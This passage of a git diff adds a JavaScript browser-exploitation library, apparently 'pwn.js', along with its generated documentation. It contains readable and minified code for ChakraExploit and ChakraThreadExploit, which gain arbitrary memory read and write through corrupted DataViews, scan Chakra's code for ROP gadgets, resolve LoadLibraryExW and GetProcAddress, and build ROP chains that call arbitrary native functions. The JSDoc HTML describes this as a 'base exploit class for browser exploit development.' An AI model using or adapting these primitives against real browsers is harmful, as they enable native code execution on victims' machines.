/* default */](0, 0x40000)); + i++; + write64(i32, i, gadgets.popRbpReturn); + i++; + write64(i32, i, savedRbpAddr.load()); + i++; + write64(i32, i, gadgets.popRspReturn); + i++; + write64(i32, i, savedRbpAddr.add(2)); + i++; + savedRbpAddr[0] = stk; + returnValAddr = stk; + } + }); + return returnValAddr[0]; +} + +/* harmony default export */ __webpack_exports__["a"] = (ChakraExploit); + + +/***/ }), +/* 3 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_baseexploit__ = __webpack_require__(1); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_chakraexploit__ = __webpack_require__(2); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_chakrathreadexploit__ = __webpack_require__(4); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_integer__ = __webpack_require__(0); +/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "BaseExploit", function() { return __WEBPACK_IMPORTED_MODULE_0_baseexploit__["a"]; }); +/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "ChakraExploit", function() { return __WEBPACK_IMPORTED_MODULE_1_chakraexploit__["a"]; }); +/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "ChakraThreadExploit", function() { return __WEBPACK_IMPORTED_MODULE_2_chakrathreadexploit__["a"]; }); +/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Integer", function() { return __WEBPACK_IMPORTED_MODULE_3_integer__["a"]; }); + + + + + + + + +/***/ }), +/* 4 */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_chakraexploit__ = __webpack_require__(2); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_integer__ = __webpack_require__(0); + + + +/** + * Constructs an exploit class for a worker script. Used in concert with {@link ChakraExploit#Thread} to support multithreading. + * + * @augments ChakraExploit + * @class + * @constructor + */ +function ChakraThreadExploit() { + __WEBPACK_IMPORTED_MODULE_0_chakraexploit__["a" /* default */].call(this); + + var dvManager = new DataView(new ArrayBuffer(0x1000)); + var dvWorker = new DataView(new ArrayBuffer(0x1000)); + this.dvWorker = dvWorker; + this.dvManager = dvManager; + + eval('String.prototype.slice').call('', { + valueOf: function () { + postMessage('CHAKRA_EXPLOIT'); + while (dvManager.getInt32(0) == 0) {}; + } + }, 0, 0, 0, 0, 0x41424344, dvWorker, dvManager, 0x41414141); + + var vtable = new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](dvManager.getInt32(0, true), dvManager.getInt32(4, true)); + this.vtable = vtable; + this.chakraBase = this.findModuleBase(vtable); + this.initChakra(vtable); +} +ChakraThreadExploit.prototype = Object.create(__WEBPACK_IMPORTED_MODULE_0_chakraexploit__["a" /* default */].prototype); +ChakraThreadExploit.prototype.constructor = ChakraThreadExploit; +/** + * Arbitrary memory read using corrupted DataView. + * + * @param {Integer} address Memory address + * @param {integer} size Bit size + * @returns {Integer} + */ +ChakraThreadExploit.prototype.read = function (address, size) { + this.dvManager.setInt32(7 * 8, address.low, true); + this.dvManager.setInt32(7 * 8 + 4, address.high, true); + + switch (size) { + case 8: return new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](this.dvWorker.getInt8(0, true), 0, true); + case 16: return new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](this.dvWorker.getInt16(0, true), 0, true); + case 32: return new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](this.dvWorker.getInt32(0, true), 0, true); + case 64: return new __WEBPACK_IMPORTED_MODULE_1_integer__["a" /* default */](this.dvWorker.getInt32(0, true), this.dvWorker.getInt32(4, true), true); + } +} +/** + * Arbitrary memory write using corrupted DataView. + * + * @param {Integer} address Memory address + * @param {Integer} value Value to write + * @param {integer} size Bit size + */ +ChakraThreadExploit.prototype.write = function (address, value, size) { + this.dvManager.setInt32(7 * 8, address.low, true); + this.dvManager.setInt32(7 * 8 + 4, address.high, true); + + switch (size) { + case 8: return this.dvWorker.setInt8(0, value.low|0, true); + case 16: return this.dvWorker.setInt16(0, value.low|0, true); + case 32: return this.dvWorker.setInt32(0, value.low|0, true); + case 64: + this.dvWorker.setInt32(0, value.low|0, true); + this.dvWorker.setInt32(4, value.high|0, true); + } +} + +/* harmony default export */ __webpack_exports__["a"] = (ChakraThreadExploit); + + +/***/ }) +/******/ ]); \ No newline at end of file diff --git a/dist/pwn.min.js b/dist/pwn.min.js new file mode 100644 index 0000000..ec9b3c0 --- /dev/null +++ b/dist/pwn.min.js @@ -0,0 +1,6 @@ +var pwnjs=function(t){function i(r){if(e[r])return e[r].exports;var n=e[r]={i:r,l:!1,exports:{}};return t[r].call(n.exports,n,n.exports,i),n.l=!0,n.exports}var e={};return i.m=t,i.c=e,i.d=function(t,e,r){i.o(t,e)||Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:r})},i.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return i.d(e,"a",e),e},i.o=function(t,i){return Object.prototype.hasOwnProperty.call(t,i)},i.p="",i(i.s=3)}([function(t,i,e){"use strict";/** + * @license long.js (c) 2013 Daniel Wirtz + * Released under the Apache License, Version 2.0 + * see: https://github.com/dcodeIO/long.js for details + */ +var r=function(){function t(t,i,e,r){this.size=r||64,8==r?(t&=255,e||t<128?i=0:(t|=4294967040,i=4294967295)):16==r?(t&=65535,e||t<32768?i=0:(t|=4294901760,i=4294967295)):32==r&&(i=e||(0|t)>=0?0:4294967295),this.low=0|t,this.high=0|i,this.unsigned=!!e}function i(t){return!0===(t&&t.__isInteger__)}function e(t,i){var e,r,s;return i?(t>>>=0,(s=0<=t&&t<256)&&(r=h[t])?r:(e=n(t,(0|t)<0?-1:0,!0),s&&(h[t]=e),e)):(t|=0,(s=-128<=t&&t<128)&&(r=o[t])?r:(e=n(t,t<0?-1:0,!1),s&&(o[t]=e),e))}function r(t,i){if(isNaN(t)||!isFinite(t))return i?p:f;if(i){if(t<0)return p;if(t>=c)return b}else{if(t<=-l)return E;if(t+1>=l)return w}return t<0?r(-t,i).neg():n(t%d|0,t/d|0,i)}function n(i,e,r){return new t(i,e,r)}function s(t,i,e){if(0===t.length)throw Error("empty string");if("NaN"===t||"Infinity"===t||"+Infinity"===t||"-Infinity"===t)return f;if("number"==typeof i?(e=i,i=!1):i=!!i,(e=e||10)<2||360)throw Error("interior hyphen");if(0===n)return s(t.substring(1),i,e).neg();for(var a=r(u(e,8)),o=f,h=0;h>>0:this.low},m.toNumber=function(){return this.unsigned?(this.high>>>0)*d+(this.low>>>0):this.high*d+(this.low>>>0)},m.toString=function(t){if((t=t||10)<2||36>>0).toString(t);if((a=h).isZero())return d+o;for(;d.length<6;)d="0"+d;o=""+d+o}},m.getHighBits=function(){return this.high},m.getHighBitsUnsigned=function(){return this.high>>>0},m.getLowBits=function(){return this.low},m.getLowBitsUnsigned=function(){return this.low>>>0},m.getNumBitsAbs=function(){if(this.isNegative())return this.eq(E)?64:this.neg().getNumBitsAbs();for(var t=0!=this.high?this.high:this.low,i=31;i>0&&0==(t&1<=0},m.isOdd=function(){return 1==(1&this.low)},m.isEven=function(){return 0==(1&this.low)},m.equals=function(t){return i(t)||(t=a(t)),(this.unsigned===t.unsigned||this.high>>>31!=1||t.high>>>31!=1)&&(this.high===t.high&&this.low===t.low)},m.eq=m.equals,m.notEquals=function(t){return!this.eq(t)},m.neq=m.notEquals,m.lessThan=function(t){return this.comp(t)<0},m.lt=m.lessThan,m.lessThanOrEqual=function(t){return this.comp(t)<=0},m.lte=m.lessThanOrEqual,m.greaterThan=function(t){return this.comp(t)>0},m.gt=m.greaterThan,m.greaterThanOrEqual=function(t){return this.comp(t)>=0},m.gte=m.greaterThanOrEqual,m.compare=function(t){if(i(t)||(t=a(t)),this.eq(t))return 0;var e=this.isNegative(),r=t.isNegative();return e&&!r?-1:!e&&r?1:this.unsigned?t.high>>>0>this.high>>>0||t.high===this.high&&t.low>>>0>this.low>>>0?-1:1:this.sub(t).isNegative()?-1:1},m.comp=m.compare,m.negate=function(){return!this.unsigned&&this.eq(E)?E:this.not().add(_)},m.neg=m.negate,m.add=function(t){i(t)||(t=a(t));var e=this.high>>>16,r=65535&this.high,s=this.low>>>16,o=65535&this.low,h=t.high>>>16,u=65535&t.high,d=t.low>>>16,c=0,l=0,g=0,f=0;return f+=o+(65535&t.low),g+=f>>>16,f&=65535,g+=s+d,l+=g>>>16,g&=65535,l+=r+u,c+=l>>>16,l&=65535,c+=e+h,c&=65535,n(g<<16|f,c<<16|l,this.unsigned,this.size)},m.subtract=function(t){return i(t)||(t=a(t)),this.add(t.neg())},m.sub=m.subtract,m.multiply=function(t){if(this.isZero())return f;if(i(t)||(t=a(t)),t.isZero())return f;if(this.eq(E))return t.isOdd()?E:f;if(t.eq(E))return this.isOdd()?E:f;if(this.isNegative())return t.isNegative()?this.neg().mul(t.neg()):this.neg().mul(t).neg();if(t.isNegative())return this.mul(t.neg()).neg();if(this.lt(g)&&t.lt(g))return r(this.toNumber()*t.toNumber(),this.unsigned);var e=this.high>>>16,s=65535&this.high,o=this.low>>>16,h=65535&this.low,u=t.high>>>16,d=65535&t.high,c=t.low>>>16,l=65535&t.low,p=0,_=0,v=0,y=0;return y+=h*l,v+=y>>>16,y&=65535,v+=o*l,_+=v>>>16,v&=65535,v+=h*c,_+=v>>>16,v&=65535,_+=s*l,p+=_>>>16,_&=65535,_+=o*c,p+=_>>>16,_&=65535,_+=h*d,p+=_>>>16,_&=65535,p+=e*l+s*c+o*d+h*u,p&=65535,n(v<<16|y,p<<16|_,this.unsigned,this.size)},m.mul=m.multiply,m.divide=function(t){if(i(t)||(t=a(t)),t.isZero())throw Error("division by zero");if(this.isZero())return this.unsigned?p:f;var e,n,s;if(this.unsigned){if(t.unsigned||(t=t.toUnsigned()),t.gt(this))return p;if(t.gt(this.shru(1)))return v;s=p}else{if(this.eq(E)){if(t.eq(_)||t.eq(y))return E;if(t.eq(E))return _;return(e=this.shr(1).div(t).shl(1)).eq(f)?t.isNegative()?_:y:(n=this.sub(t.mul(e)),s=e.add(n.div(t)))}if(t.eq(E))return this.unsigned?p:f;if(this.isNegative())return t.isNegative()?this.neg().div(t.neg()):this.neg().div(t).neg();if(t.isNegative())return this.div(t.neg()).neg();s=f}for(n=this;n.gte(t);){e=Math.max(1,Math.floor(n.toNumber()/t.toNumber()));for(var o=Math.ceil(Math.log(e)/Math.LN2),h=o<=48?1:u(2,o-48),d=r(e),c=d.mul(t);c.isNegative()||c.gt(n);)c=(d=r(e-=h,this.unsigned)).mul(t);d.isZero()&&(d=_),s=s.add(d),n=n.sub(c)}return s},m.div=m.divide,m.modulo=function(t){return i(t)||(t=a(t)),this.sub(this.div(t).mul(t))},m.mod=m.modulo,m.not=function(){return n(~this.low,~this.high,this.unsigned,this.size)},m.and=function(t){return i(t)||(t=a(t)),n(this.low&t.low,this.high&t.high,this.unsigned,this.size)},m.or=function(t){return i(t)||(t=a(t)),n(this.low|t.low,this.high|t.high,this.unsigned,this.size)},m.xor=function(t){return i(t)||(t=a(t)),n(this.low^t.low,this.high^t.high,this.unsigned,this.size)},m.shiftLeft=function(t){return i(t)&&(t=t.toInt()),0==(t&=63)?this:t<32?n(this.low<>>32-t,this.unsigned,this.size):n(0,this.low<>>t|this.high<<32-t,this.high>>t,this.unsigned,this.size):n(this.high>>t-32,this.high>=0?0:-1,this.unsigned,this.size)},m.shr=m.shiftRight,m.shiftRightUnsigned=function(t){if(i(t)&&(t=t.toInt()),0===(t&=63))return this;var e=this.high;if(t<32){return n(this.low>>>t|e<<32-t,e>>>t,this.unsigned,this.size)}return 32===t?n(e,0,this.unsigned,this.size):n(e>>>t-32,0,this.unsigned,this.size)},m.shru=m.shiftRightUnsigned,m.toSigned=function(){return this.unsigned?n(this.low,this.high,!1,this.size):this},m.toUnsigned=function(){return this.unsigned?this:n(this.low,this.high,!0,this.size)},m.toBytes=function(t){return t?this.toBytesLE():this.toBytesBE()},m.toBytesLE=function(){var t=this.high,i=this.low;return[255&i,i>>>8&255,i>>>16&255,i>>>24&255,255&t,t>>>8&255,t>>>16&255,t>>>24&255]},m.toBytesBE=function(){var t=this.high,i=this.low;return[t>>>24&255,t>>>16&255,t>>>8&255,255&t,i>>>24&255,i>>>16&255,i>>>8&255,255&i]},t}();i.a=r},function(t,i,e){"use strict";function r(t){function i(t){for(var i="",r=0;r>>0&255)!=a&&(h>>>8&255)!=a&&(h>>>16&255)!=a&&(h>>>24&255)!=a){o+=3;continue}}for(var u=0;u{for(var i=t[0],r=t[1],n=0;;){if((n=u.indexOf(r[0],n))<0)throw"missing gadget "+i;for(var s=1;s{if("CHAKRA_EXPLOIT"==i.data){for(var e=t.globalListFirst.load()[t.threadContextStackLimit].sub(49152).add(1048576),r=t.Uint64Ptr.cast(e).add(-1);!new __WEBPACK_IMPORTED_MODULE_1_integer__.a(1094861636,65536).eq(r.load());)if((r=r.add(-1)).address<=e.sub(65536))throw"unable to find canary";var n=t.Uint64Ptr.cast(r[1]);t.Uint64Ptr.cast(r[2])[7]=n}else if(this.onmessage)return this.onmessage(i)}),this.onmessage=null,this.postMessage=e.postMessage.bind(e)}}var __WEBPACK_IMPORTED_MODULE_0_baseexploit__=__webpack_require__(1),__WEBPACK_IMPORTED_MODULE_1_integer__=__webpack_require__(0);ChakraExploit.prototype=Object.create(__WEBPACK_IMPORTED_MODULE_0_baseexploit__.a.prototype),ChakraExploit.prototype.constructor=ChakraExploit,ChakraExploit.prototype.initChakra=function(t){this.chakraBase=this.findModuleBase(t);this.gadgets=this.findGadgets(this.chakraBase,[["callLoadLibraryExW",[72,139,200,51,210,65,184,0,8,0,0,255,21]],["jmpGetProcAddress",[72,139,193,72,139,73,8,72,133,201,116,11,72,131,196,40,72,255,37]],["nopReturn",[195]],["popRaxReturn",[88,195]],["popRcxReturn",[89,195]],["popRdxReturn",[90,195]],["popRspReturn",[92,195]],["popRbpReturn",[93,195]],["popRsiReturn",[94,195]],["addRsp58Return",[72,131,196,88,195]],["storeRaxAtRdxReturn",[72,137,2,195]],["entrySlice",[139,248,65,131,252,2]],["amd64CallFunction",[76,139,78,8,76,139,6,72,131,236,32,255,208,72,139,229,93,95,94,91,195]],["linkToBeginningThreadContext",[72,139,196,76,137,64,24,72,137,80,16,72,137,72,8,72,131,97]]]),this.threadContextPrev=this.gadgets.linkToBeginningThreadContext[18]/8,this.threadContextNext=this.gadgets.linkToBeginningThreadContext[30]/8,this.globalListFirst=new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0]));for(var i=this.globalListFirst[0],e=0;49152!=(65535&i[e]);e++);this.threadContextStackLimit=e;i=this.gadgets.callLoadLibraryExW.add(17).add(this.Int32Ptr.cast(this.gadgets.callLoadLibraryExW.add(13)).load());this.LoadLibraryExW=new this.PointerType(this.Uint8Ptr).cast(i).load();i=this.gadgets.jmpGetProcAddress.add(23).add(this.Int32Ptr.cast(this.gadgets.jmpGetProcAddress.add(19)).load());if(this.GetProcAddress=new this.PointerType(this.Uint8Ptr).cast(i).load(),this.findStackTop(),this.locateArray=[{}],this.locateArrayPtr=new this.PointerType(this.Uint64Ptr).cast(this.addressOfSlow(this.locateArray))[5].add(3),!this.addressOfSlow(this.locateArray[0]).address.eq(this.locateArrayPtr[0]))throw"init of addressOf failed!"},ChakraExploit.prototype.addressOf=function(t){return this.locateArray[0]=t,this.locateArrayPtr[0]},ChakraExploit.prototype.addressOfString=function(t){return this.Uint64Ptr.cast(this.addressOf(t).add(16)).load()},ChakraExploit.prototype.findStackTop=function(){if(void 0===this.stackTop){if("undefined"!=typeof WorkerGlobalScope)var t=this.globalListFirst.load()[this.threadContextStackLimit],i=1048576;else var t=this.globalListFirst.load()[this.threadContextStackLimit],i=10485760;var e=t.sub(49152).add(i);this.stackTop=e}},ChakraExploit.prototype.addressOfSlow=function(obj){var address;return eval("String.prototype.slice").call("",{valueOf:()=>{for(var t=this.gadgets,i=this.Uint64Ptr.cast(this.stackTop).add(-1);!this.Uint64.cast(t.entrySlice).eq(i.load());)if((i=i.add(-1)).address<=this.stackTop.sub(65536))throw"unable to find entrySlice";for(;!this.Uint64.cast(t.amd64CallFunction).add(13).eq(i.load());)if((i=i.add(1)).address>=this.stackTop)throw"unable to find amd64CallFunction";for(;!i[0].eq(new __WEBPACK_IMPORTED_MODULE_1_integer__.a(1111638594,65536))||!i[2].eq(new __WEBPACK_IMPORTED_MODULE_1_integer__.a(1094795585,65536));)if((i=i.add(1)).address>=this.stackTop)throw"unable to find canaries";address=this.Uint8Ptr.cast(i[1])}},0,0,0,obj,1111638594,obj,1094795585),address},ChakraExploit.prototype.customInt32Array=function(t){var i=new Int32Array(1),e=this.Uint64Ptr.cast(this.addressOf(i));return e[4]=2147483647,e[7]=t,i},ChakraExploit.prototype.call=function(address,...args){if(args.length>10)throw"too many arguments";var returnValAddr;return eval("String.prototype.slice").call("",{valueOf:()=>{function t(t,i,e){e=e.address?e.address:__WEBPACK_IMPORTED_MODULE_1_integer__.a.fromValue(e),t[2*i+0]=e.low,t[2*i+1]=e.high}for(var i=this.gadgets,e=this.Uint64.cast(i.amd64CallFunction).add(13),r=this.Uint64.cast(i.entrySlice),n=this.stackTop.sub(65536),s=this.customInt32Array(n),a=8184;a>=0&&(r.low!=s[2*a]||r.high!=s[2*a+1]);a-=1);if(0==a)throw"unable to find entrySlice";for(;e.low!=s[2*a]||e.high!=s[2*a+1];)if(8192==++a)throw"unable to find amd64CallFunction";var o=(s=this.Uint64Ptr.cast(n.add(8*a))).add(-2);s=s.add(-16384);for(var h=this.customInt32Array(s),a=32;a>=0;a--){h[4096*a/4]}t(h,a=4,i.popRsiReturn),t(h,++a,s),a++,void 0!==args[2]&&t(h,0,args[2]),void 0!==args[3]&&t(h,1,args[3]),t(h,a,i.popRaxReturn),t(h,++a,i.nopReturn),t(h,++a,i.popRbpReturn),t(h,++a,s.add(a-2)),t(h,++a,i.amd64CallFunction),t(h,++a,i.popRdxReturn),a++,void 0!==args[1]&&t(h,a,args[1]),t(h,++a,i.popRcxReturn),a++,void 0!==args[0]&&t(h,a,args[0]),t(h,++a,address),t(h,++a,i.addRsp58Return),a++,a+=4,void 0!==args[4]&&t(h,a,args[4]),a++,void 0!==args[5]&&t(h,a,args[5]),a++,void 0!==args[6]&&t(h,a,args[6]),a++,void 0!==args[7]&&t(h,a,args[7]),a++,void 0!==args[8]&&t(h,a,args[8]),a++,void 0!==args[9]&&t(h,a,args[9]),a++,void 0!==args[10]&&t(h,a,args[10]),t(h,++a,i.popRdxReturn),t(h,++a,s),t(h,++a,i.storeRaxAtRdxReturn),t(h,++a,i.popRaxReturn),t(h,++a,new __WEBPACK_IMPORTED_MODULE_1_integer__.a(0,262144)),t(h,++a,i.popRbpReturn),t(h,++a,o.load()),t(h,++a,i.popRspReturn),t(h,++a,o.add(2)),a++,o[0]=s,returnValAddr=s}}),returnValAddr[0]},__webpack_exports__.a=ChakraExploit},function(t,i,e){"use strict";Object.defineProperty(i,"__esModule",{value:!0});var r=e(1),n=e(2),s=e(4),a=e(0);e.d(i,"BaseExploit",function(){return r.a}),e.d(i,"ChakraExploit",function(){return n.a}),e.d(i,"ChakraThreadExploit",function(){return s.a}),e.d(i,"Integer",function(){return a.a})},function(module,__webpack_exports__,__webpack_require__){"use strict";function ChakraThreadExploit(){__WEBPACK_IMPORTED_MODULE_0_chakraexploit__.a.call(this);var dvManager=new DataView(new ArrayBuffer(4096)),dvWorker=new DataView(new ArrayBuffer(4096));this.dvWorker=dvWorker,this.dvManager=dvManager,eval("String.prototype.slice").call("",{valueOf:function(){for(postMessage("CHAKRA_EXPLOIT");0==dvManager.getInt32(0););}},0,0,0,0,1094861636,dvWorker,dvManager,1094795585);var vtable=new __WEBPACK_IMPORTED_MODULE_1_integer__.a(dvManager.getInt32(0,!0),dvManager.getInt32(4,!0));this.vtable=vtable,this.chakraBase=this.findModuleBase(vtable),this.initChakra(vtable)}var __WEBPACK_IMPORTED_MODULE_0_chakraexploit__=__webpack_require__(2),__WEBPACK_IMPORTED_MODULE_1_integer__=__webpack_require__(0);ChakraThreadExploit.prototype=Object.create(__WEBPACK_IMPORTED_MODULE_0_chakraexploit__.a.prototype),ChakraThreadExploit.prototype.constructor=ChakraThreadExploit,ChakraThreadExploit.prototype.read=function(t,i){switch(this.dvManager.setInt32(56,t.low,!0),this.dvManager.setInt32(60,t.high,!0),i){case 8:return new __WEBPACK_IMPORTED_MODULE_1_integer__.a(this.dvWorker.getInt8(0,!0),0,!0);case 16:return new __WEBPACK_IMPORTED_MODULE_1_integer__.a(this.dvWorker.getInt16(0,!0),0,!0);case 32:return new __WEBPACK_IMPORTED_MODULE_1_integer__.a(this.dvWorker.getInt32(0,!0),0,!0);case 64:return new __WEBPACK_IMPORTED_MODULE_1_integer__.a(this.dvWorker.getInt32(0,!0),this.dvWorker.getInt32(4,!0),!0)}},ChakraThreadExploit.prototype.write=function(t,i,e){switch(this.dvManager.setInt32(56,t.low,!0),this.dvManager.setInt32(60,t.high,!0),e){case 8:return this.dvWorker.setInt8(0,0|i.low,!0);case 16:return this.dvWorker.setInt16(0,0|i.low,!0);case 32:return this.dvWorker.setInt32(0,0|i.low,!0);case 64:this.dvWorker.setInt32(0,0|i.low,!0),this.dvWorker.setInt32(4,0|i.high,!0)}},__webpack_exports__.a=ChakraThreadExploit}]); \ No newline at end of file diff --git a/docs/BaseExploit.html b/docs/BaseExploit.html new file mode 100644 index 0000000..68c6323 --- /dev/null +++ b/docs/BaseExploit.html @@ -0,0 +1,2074 @@ + + + + + BaseExploit - Documentation + + + + + + + + + + + + + + + + +
+ +

BaseExploit

+ + + + + + + +
+ +
+ +

+ BaseExploit +

+ +
A base exploit class for browser exploit development.
+ + +
+ +
+
+ + + + +

Constructor

+ + +

new BaseExploit(bitness)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a base exploit that provides useful data types and utility functions. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
bitness + + +number + + + + The bitness of the target process.
+ + + + + + + + + + + + + + + + + +
+ + + + + + +

Classes

+ +
+
ArrayType
+
+ +
CString
+
+ +
FunctionType
+
+ +
IntType
+
+ +
Pointer
+
+ +
PointerType
+
+ +
StructPointer
+
+ +
StructType
+
+ +
Type
+
+ +
WString
+
+
+ + + + + + + +

Members

+ + + +

Int8 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int8Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int16 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int16Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int32 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int32Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int64 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int64Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint8 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint8Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint16 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint16Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint32 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint32Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint64 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint64Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + + + +

Methods

+ + + + + + +

findGadget(module, bytes) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find a set of bytes in a PE module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
module + + +Integer +| + +Pointer + + + + Base address of PE module
bytes + + +Array + + + + Bytes to locate
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

findGadgets(module, query) → {object}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find multiple sets of bytes in a PE module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
module + + +Integer +| + +Pointer + + + + Base address of PE module
query + + +Array + + + + Array of gadgets to find
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +object + + +
+
+ + + + + + + + + +

findModuleBase(address) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find the beginning of a PE module given any address in the module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
address + + +Integer + + + + Any address in the PE module
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

importFunction(dllName, funcName, returnType) → {function}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Loads a DLL (if not loaded already) and finds the given export. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
dllName + + +string + + + + The name of DLL to find the function from.
funcName + + +string + + + + The name of function to import.
returnType + + +Type + + + + The type of the function return.
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +function + + +
+
+ + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_ArrayType.html b/docs/BaseExploit_ArrayType.html new file mode 100644 index 0000000..a4cac80 --- /dev/null +++ b/docs/BaseExploit_ArrayType.html @@ -0,0 +1,258 @@ + + + + + ArrayType - Documentation + + + + + + + + + + + + + + + + +
+ +

ArrayType

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + ArrayType +

+ + +
+ +
+
+ + + + + +

new ArrayType(base, length)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an array type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + Base type
length + + +integer + + + + Number of array elements
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
